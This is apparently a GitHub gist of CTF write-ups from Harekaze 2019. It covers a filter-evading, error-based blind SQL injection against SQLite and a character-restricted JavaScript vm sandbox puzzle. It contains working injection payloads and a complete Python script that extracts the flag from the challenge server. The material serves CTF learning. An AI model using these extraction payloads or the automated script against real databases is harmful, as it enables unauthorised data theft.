Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
Harekaze 2019 writeups by terjanq (https://twitter.com/terjanq)

SQLite Voting

function is_valid($str) {
  $banword = [
    // dangerous chars
    // " % ' * + / < = > \ _ ` ~ -
    "[\"%'*+\\/<=>\\\\_`~-]",
    // whitespace chars
    '\s',
    // dangerous functions
    'blob', 'load_extension', 'char', 'unicode',
    '(in|sub)str', '[lr]trim', 'like', 'glob', 'match', 'regexp',
    'in', 'limit', 'order', 'union', 'join'
  ];
  $regexp = '/' . implode('|', $banword) . '/i';
  if (preg_match($regexp, $str)) {
    return false;
  }
  return true;
}

// request to SQLite db, I skipped is_valid($id)
$res = $pdo->query("UPDATE vote SET count = count + 1 WHERE id = ${id}"); 
if ($res === false) {
  die(json_encode(['error' => 'An error occurred while updating database']));
}

We can see that we've got a heavily filtered error-based blind sql injection.

Solution

First we got the length of the flag by enumerating through $LENGTH$ in the following payload:

abs(ifnull(nullif(length((SELECT(flag)from(flag))),$LENGTH$),0x8000000000000000))

I will explain the payload bit-by-bit later, but the flag was 38 characters long.

Then, we double hexed the flag so we can be sure that it only produces digits

sqlite> select hex('0123456789ABCDEF');
30313233343536373839414243444546

We also know that the length of the produced number is exactly 152-digit long.

You cannot pass integers bigger than 9223372036854775807 because they will get cast into floating numbers, but you can concatenate them as they were strings, e.g. 9223372036854775807||9223372036854775807 will produce 92233720368547758079223372036854775807. Thanks to this property we now can iterate over all composited 152-digit long $NUMBER$ and use the max(A, B) function which will return the bigger one.

abs(ifnull(nullif(max(hex(hex((SELECT(flag)from(flag)))),$NUMBER$),$NUMBER$),0x8000000000000000))

We get the double hexed flag which is: 343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430

HarekazeCTF{41m_70_b3_4_5ql173_m4573r|

Explaination:

  • abs(-9223372036854775808) will cause integer overflow and hence throw an error
  • 0x8000000000000000 is hex-encoded -9223372036854775808
  • nullif(A,B) will return NULL if A equals B, returns A otherwise
  • ifnull(A,0x8000000000000000) will return 0x8000000000000000 if A is NULL, otherwise A is returned.
  • max(A,B) returns lexicographically greater string.
  • hex(hex(flag) "removes" all non-digit characters from flag

/[a-z().]/

if (code && code.length < 200 && !/[^a-z().]/.test(code)) {
    try {
      const result = vm.runInNewContext(code, {}, { timeout: 500 });
      if (result === 1337) {
        output = process.env.FLAG;
      } else {
        output = 'nope';
      }
    } catch (e) {
      output = 'nope';
    }
  } else {
    output = 'nope';
  }

We have to create a payload that when ran in the context will return 1337. My first solution was: escape.name.concat(eval.length).repeat(eval.name.concat(eval).repeat(eval.name.concat(eval.length).length).concat(escape.name).length).length which is 141 characters long. It uses factorization of 1337 which is 7*191

Then I improved it to: escape.name.concat(eval.length).repeat(escape(escape(escape(escape(escape(escape(escape(unescape))))))).length).length which is 118 characters long

Then I just was poking around and the best I got for 7*191 was: console.profile.name.repeat(escape(escape(eval).sup().bold().link().link()).length).length (90 characters)

However my best payload doesn't use the factorization: escape(escape(eval).repeat(escape.name.sup().length)).concat(eval.name.link()).length and is only 85 characters long!

One could possibly bruteforce the shortest solution but no fun there! :)

P.S
splitline shared on discord a nice way to solve by joining 13 and 37 with the payload: eval(escape(eval.name.fixed().length).concat(unescape(unescape).length)) (72)

I improved my best payload to: escape(escape().bold().repeat(escape(eval).length)).strike().length and that is only 67 characters long!

The flag: HarekazeCTF{sorry_about_last_year's_js_challenge...}

import requests
'''
implemented by @cypis
'''
base_url = 'http://153.127.202.154:1004'
bin_pos = 0
bin_val = 2 ** bin_pos
bin_result = []
def split_by_n(seq, n):
while seq:
yield seq[:n]
seq = seq[n:]
def check_sql(raw_sql, match_with):
print(raw_sql)
t = requests.post(base_url + '/vote.php', data={
'id': 'abs(ifnull(nullif({},{}),0x8000000000000000))'.format(
raw_sql,
match_with,
),
})
print(t.status_code)
if t.text == '{"error":"An error occurred while updating database"}':
return True
return False
def get_sql_flag():
return '(SELECT(flag)from(flag))'
def get_hex(raw_sql):
return 'hex({})'.format(raw_sql)
def get_length(raw_sql):
return 'length({})'.format(raw_sql)
def get_max(left_raw, right_sql):
return 'max({},{})'.format(left_raw,right_sql)
def get_sql_split_number(big_int):
return '||'.join(list(split_by_n(str(big_int),4)))
max_numbers = 152
current_arr = list('9' + ('0' * max_numbers))
for pos_offset in range(0, max_numbers):
for next_char in '9876543210':
current_arr[pos_offset] = next_char
current_num = int(''.join(current_arr))
print('number:', current_num)
flag_sql = get_hex(get_hex(get_sql_flag()))
cur_num = get_sql_split_number(current_num)
raw_sql = get_max(
flag_sql,
cur_num,
)
is_found = check_sql(raw_sql, cur_num)
if not is_found:
print('found better:', current_num)
break
# // flag: 343836313732363536423631374136353433353434363742333433313644354633373330354636323333354633343546333537313643333133373333354636443334333533373333373237430
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment